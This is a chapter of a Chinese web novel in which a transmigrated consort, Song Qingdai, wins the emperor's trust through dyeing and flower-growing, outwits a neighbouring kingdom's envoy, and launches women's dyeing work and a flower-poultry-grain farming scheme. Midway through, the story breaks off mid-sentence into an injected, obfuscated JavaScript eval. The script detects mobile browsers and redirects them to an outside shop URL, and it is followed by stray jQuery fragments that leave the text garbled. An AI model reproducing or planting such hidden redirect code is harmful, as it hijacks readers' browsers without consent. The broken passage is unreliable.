“我们可以从染料入手,查到彭承效忠之人,”宋青黛说。
“大庆少用染料,但查起来还是十分困难,只能从京城的染坊下手,”原随之纠结。
“会不会是外商传来的?”宋青黛问,“我记得长风国那边很喜欢研究染料,我也是向他们学习。”
原随之皱了皱眉头,想起自己曾经监视过外商的行动,立刻派人去问话。
长风国一度流行粉红色,外商打算在大庆推广,却被原随之警告,如今更是苦苦哀求,希望乘上宋青黛染色的浪潮。
宋青黛眼里闪过精光,“长风国正好在大庆的西北,不知道他们跟曹家有没有联系。”
原随之摇头,“大庆跟长风国乃是兄弟之邦,我不相信长风国会算计大庆。”
宋青黛疑惑,帝王有疑心病,为什么偏偏相信邻国?
她小声道:“防人之心不可无,我们应该重点关注长风国的动向,及时做准备。”
原随之揉了揉发胀的脑袋,他试图说服自己,但心中疑虑越来越多,双手用力直接捏断一根笔,手掌一道伤痕。
宋青黛小心翼翼地握住他的手,未等说话,原随之一把抱住她,把头埋在她的脖颈处。
宋青黛这才回忆起查到的消息:当时先王驾崩,原随之面对各个邻国的觊觎,扛下压力与长风国交好。或许长风国对他来说不仅仅是盟友,还有更深层的支持。
宋青黛多次想开口,却发现自己无话可说,轻轻拍了拍原随之的背以示安慰。
“没关系,我绝对不会放过伤害大庆的任何一个叛徒。”原随之很快收拾好心情,坚定地说。
还未等原随之安排探子前往长风国,突然收到对方的请求。
长风国想修复古寺褪色的壁画,却找不到适合的染料,听闻宋青黛能染色,特地派使臣求救。
原随之召来长安最出名的“七彩布庄”传人,询问能否调配出长风国所需的颜料。
坊主拿起拓印的壁画长卷,仔细研究,不停地摇头:“长风国想要的颜色是佛色,青中带着慈悲,紫中含着怜悯,超出我的能力。”
这么难?原随之踱步。
他怀疑长风国,明面上还是兄弟之邦,必须展现大庆的实力。可就连京城最著名染坊都无法接下这个任务,怎样才能解决这个难题?
长风国的使臣并没有给原随之思索的时间,他直接上奏,阴阳怪气:“大庆帝王不能见死不救。我听闻你们有一神女宫妃,能调出巧夺天工的颜料,看在国王的脸上,请她帮忙。”
原随之眯了眼睛,他知道为什么觉得不对劲,宋青黛一出名,长风国就立刻前来求救,实属怪异。或许有人想陷害宋青黛,斩断他的左膀右臂?
冯知上前:“宋美人乃是女子,不适合研究供佛的染料。”
使臣冷笑一声:“我长风国男女平等,不会看不起任何一个拥有玲珑心的女子。”
两人针锋相对,冯知落在下风。
原随之敲了敲桌子,“就让宋美人试一下。”
冯知担心地望着他。原随之摇头,他只是让宋青黛走个过场,找时间观察使臣的用心。
宋青黛拿到壁画长卷,紧皱秀眉,“青色不难,紫色不难,可他要慈悲、怜悯的青紫色?那是什么东西?”
屋漏连逢下雨,掌事太监低头禀告:“北方商圈囤积染色原料,我们只能以高价收取,便是如此,有很多颜色找不到。”
原随之狠狠敲打桌面:“巧妇难为无米之炊,你让朕如何是好?”
掌事太监低头:“民间有传言,宋美人能拯救古寺神佛。”
原随之把手上的玉扣扔在地上,他算是看明白了,有人在暗中算计他和宋青黛,
掌事太监跪下哀求,“宋美人,大家只能依赖您。”
原随之不抱有任何希望,所有的路都被斩断。
宋青黛站在一旁,闭上眼睛,仔细思索前世的花卉染色配方,可以在仅有的材料上修改,提炼出使臣想要的青色和紫色。
“皇上,我想去藏书阁看一看,找些灵感。”宋青黛主动开口。
原随之点头答应。
宋青黛连续三个昼夜不眠,用乌梅汁、淘米水等天然染色剂进行实验,历经千辛万苦,调配出青色和紫色的初始原料。
原随之脸上露出不可置信的神情,他没想到短短时间内宋青黛就能调出如此漂亮的颜色。
“可惜这两种颜色不能融合,”宋青黛揉了揉发涨的眼眶,声音沙哑。
“没事,我本来就不打算答应长风国的要求。”原随之冷笑一声,他决定反击。
使臣原本以为大庆的染色只是噱头,没想到真的能调配出青色和紫色,他掩盖内心的慌张和贪婪。
“大庆皇帝,长风国王想要青紫色,这两种颜色还达不到我们的要求。”
原随之讽刺:“朕给你们原材料。那剩下的组合就靠你们自己,什么都靠别人,是不是太过分了?”
原随之身上散发出帝王的威严,强强的压制住使臣,“带着你要的东西离开大庆。”
使臣尴尬,他来之前并没有说一定要青紫色,让原随之钻了个空子,赔了不少礼物,下次想来找麻烦就更难。
不过好在长风国对染料有深刻的了解,把两种颜色融合在一起简直是轻而易举的事情。想到这里,使臣露出一个得逞的微笑。
长风国想利用宋青黛,原随之同样让他们充当青云梯,开始散布消息:
宋美人研制出灵动深邃的染料,长风国使臣赞叹,成就外交佳话!
宋青黛在民间的声望越来越高,原随之趁机赐封她为“贤妃”,管理后宫事务。
册封当天,万和景明,喜鹊叽叽喳喳地叫个不停。
宋青黛只觉得自己在梦中,她穿越而来,从一无所有的冷宫嫔妃到如今高高在上的贤妃,万人嫌变万人迷,全靠种花本领,所学得所用,实属人生幸事!
“娘娘,北方混乱,绣庄联合抵制我们的布料。”吴嬷嬷并不想在喜事当天麻烦宋青黛,但是最近染色学堂的生意不好,甚至遭到陌生人的厌恶。
宋青黛仔细查看学堂的记录
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102386|194621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
学堂想要抢占纺织市场,不给其他绣庄一条活路,导致他们联合起来抵制。
她眯了眯眼睛,吩咐道:“我们主动退出低端市场,专攻高端定制,不要在他们身上浪费时间。”
“娘娘,你现在是贤妃,一声令下就能让他们服从命令,何必让步?”吴嬷嬷急切道。
“相信我,”宋青黛坚持。
吴嬷嬷无奈,咬了咬牙,掏出自己的俸禄,想要帮学堂渡过难关。不曾料到培养的女匠师接到宫廷女红订单,收入比普通的知县还多。
宋青黛又帮其他女子找到纺织、染色、刺绣等心灵手巧的工作,女子工作瞬间成为热门话题。
“娘娘厉害,还是你有先见之明,”吴嬷嬷瞬间成为宋青黛的疯狂粉丝,坚定维护她的每一个命令。
众人皆以为宋青黛天生懂得经营,却不知道那是她不停地反思,在现代和古代中间选择最适合的一条路,种花让女子有所依靠。
一切往好的方向发展,但宋青黛发现一个新问题。
女子赚钱,引起不少男生眼红。
染色女工容貌秀丽,引来更多的觊觎和谣言,让她们不得不朴素装扮,不敢穿上精致的衣服,宋青黛嘴唇微微颤抖,强行压制内心的怒气。
她让吴嬷嬷买下城郊的土地,降低花卉种植的门槛,扩大种植市场,手把手教男生工作。
“免费教他们技术,包吃包住?”原随之震惊宋青黛的魄力!
宋青黛笑了笑,掩饰眼中的疯狂,“扩大花卉市场,舍不到孩子套不到狼,他们会给我们千万倍的回报。”
原随之以为她只是想扩大经营,没有阻止。
很快,城郊外形成万亩花卉种植带,贫瘠的土地上开满鲜花,走在路上,都能遇到玩耍的蝴蝶和成群的蜜蜂。
坊间传言,种花利润是种稻谷的三倍。众人纷纷寻找花种,努力培育花卉。
“贤妃真是朕的得力助手,逆境开花,”原随之引以为傲。
“可是,大家都去种花卉,没有人种粮食,万一花卉的收益降低,岂不是得饿死?”小顺子不确定地问。
原随之的微笑僵住,他没想到种花狂热,影响粮食,立刻召见宋青黛。
宋青黛掏出自己制作的持续种花计划。
“我取名为“花禽粮生长模式”,掉落的花瓣可以为禽类提供食物。家禽在鲜花和粮食地中刨食,吃掉害虫和清理杂草。留下的粪便可以变成有机肥,滋养花卉和粮食。”
宋青黛侃侃而谈,整个人散发着迷人的光芒。
原随之连连点头,“这种模式可以推广,只是有些复杂?”
宋青黛称是,“需要男子认真对待土地,希望皇上能动员他们!”
“简单,我让冯知安排。”
宋青黛的计划得到百姓的认可,自发歌颂她的事迹,成为人人追捧的万人迷,不少染坊供奉她的画像,还尊称她为“花神匠”。
原随之脑里全是宋青黛清晰、坚定的发言:“我要将大兴打造成安居乐业,幸福生活的地方。”